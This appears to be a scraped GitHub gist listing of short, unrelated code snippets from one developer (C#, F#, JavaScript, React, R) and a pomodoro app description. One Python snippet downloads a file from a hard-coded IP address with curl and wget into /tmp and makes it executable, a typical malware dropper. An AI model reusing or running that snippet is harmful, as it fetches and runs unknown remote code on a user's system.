tl;dr I built an extremely simple blog engine with node.js and geddy. The code is at https://github.com/liammclennan/gistblog and my blog is at http://withouttheloop.com/
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// this script works in linqpad (https://www.linqpad.net/) | |
void Main() | |
{ | |
var day = new DaysRevisions(); | |
day.State.Dump(); | |
day.State.To(LifecycleState.Draft, "me"); | |
day.State.Dump(); | |
day.State.To(LifecycleState.Historical, "me"); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
def down_exec(): | |
cmd = 'curl http://60.191.187.18:667/kb>/tmp/kb' | |
p = os.system(cmd) | |
cmd = 'wget -O /tmp/kb http://60.191.187.18:667/kb' | |
p = os.system(cmd) | |
cmd = 'chmod 0777 /tmp/kb' | |
p = os.system(cmd) | |
cmd = 'chmod u+x /tmp/kb' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// https://code.google.com/codejam/contest/351101/dashboard#s=p0 | |
open System.Linq | |
type Case = { c: int; i: int; ps: int[]; index: int[] } | |
let readFile filename = | |
System.IO.File.ReadLines(filename) | |
let transpose arr = | |
let t = [|for a in [0..Array.max arr] -> -1|] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#r @"packages\FParsec.1.0.1\lib\net40-client\FParsecCS.dll" | |
#r @"packages\FParsec.1.0.1\lib\net40-client\FParsec.dll" | |
open FParsec | |
let parsesA = pchar 'a' | |
run parsesA "abcdefg" | |
run (many anyChar) "abcde fg" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// selectGame is a function that builds the data model for a game, by randomly selecting a set of books and a correct answer. | |
var selectGame = function () { | |
// `this` within selectGame is the array `data`. `reduce` is used to flatten the set of books into a single array. | |
// `_.shuffle` randomizes the list of books. | |
// `slice` selects the first 4 books. | |
// `books` is then 4 randomly selected books. | |
var books = _.shuffle(this.reduce(function (p, c, i) { | |
return p.concat(c.books); | |
}, [])).slice(0,4); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
store.subscribe(() => { | |
ReactDOM.render( | |
<Router history={browserHistory}> | |
// Note the use of onEnter event | |
<Route path="/chunk/:id" onEnter={handleEnterChunk} component={attachState(ChunkPage.Chunk,'chunk')}/> | |
</Router>) | |
}); | |
// read route params (state.params) and do required state changes | |
function handleEnterChunk(state,replace,callback) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
mean=132; sd=13 | |
lb=105; ub=159 | |
x <- seq(-4,4,length=100)*sd + mean | |
hx <- dnorm(x,mean,sd) | |
plot(x, hx, type="n", xlab="Duration (days)", ylab="", | |
main="Duration Probability Distribution", axes=FALSE) | |
i <- x >= lb & x <= ub |
Many people like the pomodoro technique because it helps them focus intently on tasks. It is also helpful for preventing interruptions. If your team, and extended team, know that you are in the middle of a pomodoro then they know to avoid interrupting you. But how do you communicate that you have a pomodoro in progress?
Team Pomodoro combines a tradtional pomodoro timer and a dashboard showing the status of each team member's pomodoros. A person can see at a glance who is currently available and when each person will be available.
- Add features for messaging team members. Choice of
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
module domain = | |
type post = { id: Guid; title: string; content: string; author_id: Guid } | |
type author = { id: Guid; name: string; } | |
type crudAction = Create | Update | Delete | |
type change = { action: crudAction; entity: obj; id: Guid } | |
let addPost (p:post) : seq<change> = | |
// do stuff | |
seq { yield {action = Create; entity = box p; id = p.id} } | |